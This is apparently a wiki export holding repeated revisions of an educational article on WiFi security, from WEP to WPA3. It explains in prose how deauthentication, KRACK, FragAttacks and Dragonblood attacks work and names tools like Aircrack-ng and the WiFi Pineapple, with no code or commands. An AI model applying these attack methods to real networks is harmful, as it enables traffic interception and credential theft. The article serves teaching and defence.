Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]

== References ==

* https://www.krackattacks.com/
* https://www.fragattacks.com/
* https://wpa3.mathyvanhoef.com/
* https://ieeexplore.ieee.org/document/523485
* https://github.com/deiv/driftnet
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra

[[Category:Basic]]

WiFi Security

2024-12-07T16:56:24Z

RSchuller: /* WEP */

== Summary ==

This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.

== Basics ==
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.

In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.<ref> https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09</ref>

As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.

==Versions==
===WEP===
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.
<ref name="Survey WEP WPA WPA2>{{Cite conference
| last1 = Lashkari
| first1 = Arash Habibi
| last2 = Danesh
| first2 = Mir Mohammad Seyed
| last3 = Samadi
| first3 = Behrang
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology
| year = 2009
| pages = 48–52
| doi = 10.1109/ICCSIT.2009.5234856
| url = https://ieeexplore.ieee.org/document/5234856
}}</ref>

;Known Weaknesses of WEP
*WEP has no Mechanism to prevent to manipulate data packets.
*WEP can not prevent Replay Attacks
*WEP uses the RC4 Algorithm, this causes weak keys. With brute force it is possible to decrypt the key in minutes or hours on a standard Computer.
*WEP uses the same IV every time, this allows to decrypt data without knowing the current key.
*WEP allows attackers to modify messages or data without knowing the encryption key.
*with WEP it is easy to manipulate Authentication messages.
<ref name="WEP vs. WPA>{{Cite conference
| last1 = Lashkari
| first1 = Arash Habibi
| last2 = Danesh
| first2 = Mir Mohammad Seyed
| last3 = Mansoori
| first3 = Masood
| title = Wired Equavilent Privacy (WEP) versus Wi-Fi Protected Access (WPA)
| booktitle = 2009 International Conference on Signal Processing Systems
| year = 2009
| pages = 445-449
| doi = 10.1109/ICSPS.2009.87
| url = https://ieeexplore.ieee.org/document/5166826
}}</ref>

===WPA===

WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn't be upgraded to support WPA due to extensive required changes. WPA's major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP's vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. <ref>Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-
havior of wpa with modification. In 2015 International Conference on
Communication Networks (ICCN), pages 53–56, 2015.</ref>

;WPA offers two modes of operation:

* Personal WPA or WPA-PSK (Pre-Shared Key):
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it's only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air. <ref name="Survey WEP WPA WPA2" />

* Enterprise-WPA or Commercial (802.1X):
Used in commercial or enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users' traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA's TKIP allows a more advanced encryption. Instead of a pre-shared key, you will need a RADIUS server to authenticate yourself. With this sever it's possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods. <ref name="Survey WEP WPA WPA2" />

=== WPA2 ===

[[File:4way.png|500px|thumb|right|4 Way Handshake]]

WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a "Pairwise Master Key" (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:

# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.
# The AP sends the group temporal key (GTK) to the client.
# The client confirms that the GTK was received.

After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.

After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).

For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. <ref>Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.</ref>

;WPA2 like WPA supports two modes of security. Like in WPA there are.

*WPA2-Personal or WPA2-PSK (Pre-Shared-Key)
Every Supplicant (Client) and Authenticator (Access Point) are manually configured, to use the same secret, which can be up to 64 ASCII characters. There is also the possibility, to set a 256 bit randomly generated number, but this option is difficult to enter manually into client configurations. <ref name="Survey WEP WPA WPA2" />
*WPA2-Enterprise (802.1X)
This is the also called "corporate" security mode. It is based on the EAP authentication framework, which includes RADIUS, uses several EAP types (such as EAP-TLS) this provides a much stronger authentication system and a secure key distribution. <ref name="Survey WEP WPA WPA2" />

=== WPA3 ===

[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it's available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it's much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.

The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client->AP and AP->client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.

=== Frame Aggregation and Fragmentation ===

[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]

In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.

== Attacks ==

=== Disassociation and Denial of Service Attacks ===
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]
<ref>Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications & Networking Conference (CCNC)</ref>

=== KRACK ===
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.

When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn't receive it. The client doesn't know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.

=== FragAttacks ===
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.

To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it's possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.

The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it's not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.

=== Dragonblood ===
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.

As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn't support WPA2.

Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn't support this curve, it responds with a message stating so, leading to the client select another curve from it's list. This is repeated until a curve supported by both devices is found. The message that the AP doesn't support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.<ref>Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.</ref>

== Tools ==

There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.
=== Aircrack-ng ===
is an open-source suite designed for assessing Wi-Fi network security. It's capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.<ref> Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3
security approach measurement through aircrack-ng technique’. In 2021
5th International Conference on Computing Methodologies and Commu-
nication (ICCMC), pages 23–30, 2021
</ref>

Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]

=== Driftnet ===
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet's capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.
<ref>deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.</ref>

=== WiFi Pineapple Nano ===
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]

== References ==

* https://www.krackattacks.com/
* https://www.fragattacks.com/
* https://wpa3.mathyvanhoef.com/
* https://ieeexplore.ieee.org/document/523485
* https://github.com/deiv/driftnet
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra

[[Category:Basic]]

WiFi Security

2024-12-07T16:48:45Z

RSchuller: /* WEP */

== Summary ==

This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.

== Basics ==
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.

In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.<ref> https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09</ref>

As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.

==Versions==
===WEP===
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.
<ref name="Survey WEP WPA WPA2>{{Cite conference
| last1 = Lashkari
| first1 = Arash Habibi
| last2 = Danesh
| first2 = Mir Mohammad Seyed
| last3 = Samadi
| first3 = Behrang
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology
| year = 2009
| pages = 48–52
| doi = 10.1109/ICCSIT.2009.5234856
| url = https://ieeexplore.ieee.org/document/5234856
}}</ref>

;Known Weaknesses of WEP
*WEP has no Mechanism to prevent to manipulate data packets.
*WEP can not prevent Replay Attacks
*WEP uses the RC4 Algorithm, this causes weak keys. With brute force it is possible to decrypt the key in minutes or hours on a standard Computer.
*WEP uses the same IV every time, this allows to decrypt data without knowing the current key.
*WEP allows attackers to modify messages or data without knowing the encryption key.
*with WEP it is easy to manipulate Authentication messages.

===WPA===

WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn't be upgraded to support WPA due to extensive required changes. WPA's major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP's vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. <ref>Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-
havior of wpa with modification. In 2015 International Conference on
Communication Networks (ICCN), pages 53–56, 2015.</ref>

;WPA offers two modes of operation:

* Personal WPA or WPA-PSK (Pre-Shared Key):
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it's only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air. <ref name="Survey WEP WPA WPA2" />

* Enterprise-WPA or Commercial (802.1X):
Used in commercial or enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users' traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA's TKIP allows a more advanced encryption. Instead of a pre-shared key, you will need a RADIUS server to authenticate yourself. With this sever it's possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods. <ref name="Survey WEP WPA WPA2" />

=== WPA2 ===

[[File:4way.png|500px|thumb|right|4 Way Handshake]]

WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a "Pairwise Master Key" (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:

# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.
# The AP sends the group temporal key (GTK) to the client.
# The client confirms that the GTK was received.

After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.

After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).

For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. <ref>Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.</ref>

;WPA2 like WPA supports two modes of security. Like in WPA there are.

*WPA2-Personal or WPA2-PSK (Pre-Shared-Key)
Every Supplicant (Client) and Authenticator (Access Point) are manually configured, to use the same secret, which can be up to 64 ASCII characters. There is also the possibility, to set a 256 bit randomly generated number, but this option is difficult to enter manually into client configurations. <ref name="Survey WEP WPA WPA2" />
*WPA2-Enterprise (802.1X)
This is the also called "corporate" security mode. It is based on the EAP authentication framework, which includes RADIUS, uses several EAP types (such as EAP-TLS) this provides a much stronger authentication system and a secure key distribution. <ref name="Survey WEP WPA WPA2" />

=== WPA3 ===

[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it's available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it's much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.

The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client->AP and AP->client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.

=== Frame Aggregation and Fragmentation ===

[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]

In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.

== Attacks ==

=== Disassociation and Denial of Service Attacks ===
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]
<ref>Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications & Networking Conference (CCNC)</ref>

=== KRACK ===
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.

When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn't receive it. The client doesn't know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.

=== FragAttacks ===
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.

To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it's possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.

The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it's not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.

=== Dragonblood ===
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.

As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn't support WPA2.

Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn't support this curve, it responds with a message stating so, leading to the client select another curve from it's list. This is repeated until a curve supported by both devices is found. The message that the AP doesn't support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.<ref>Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.</ref>

== Tools ==

There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.
=== Aircrack-ng ===
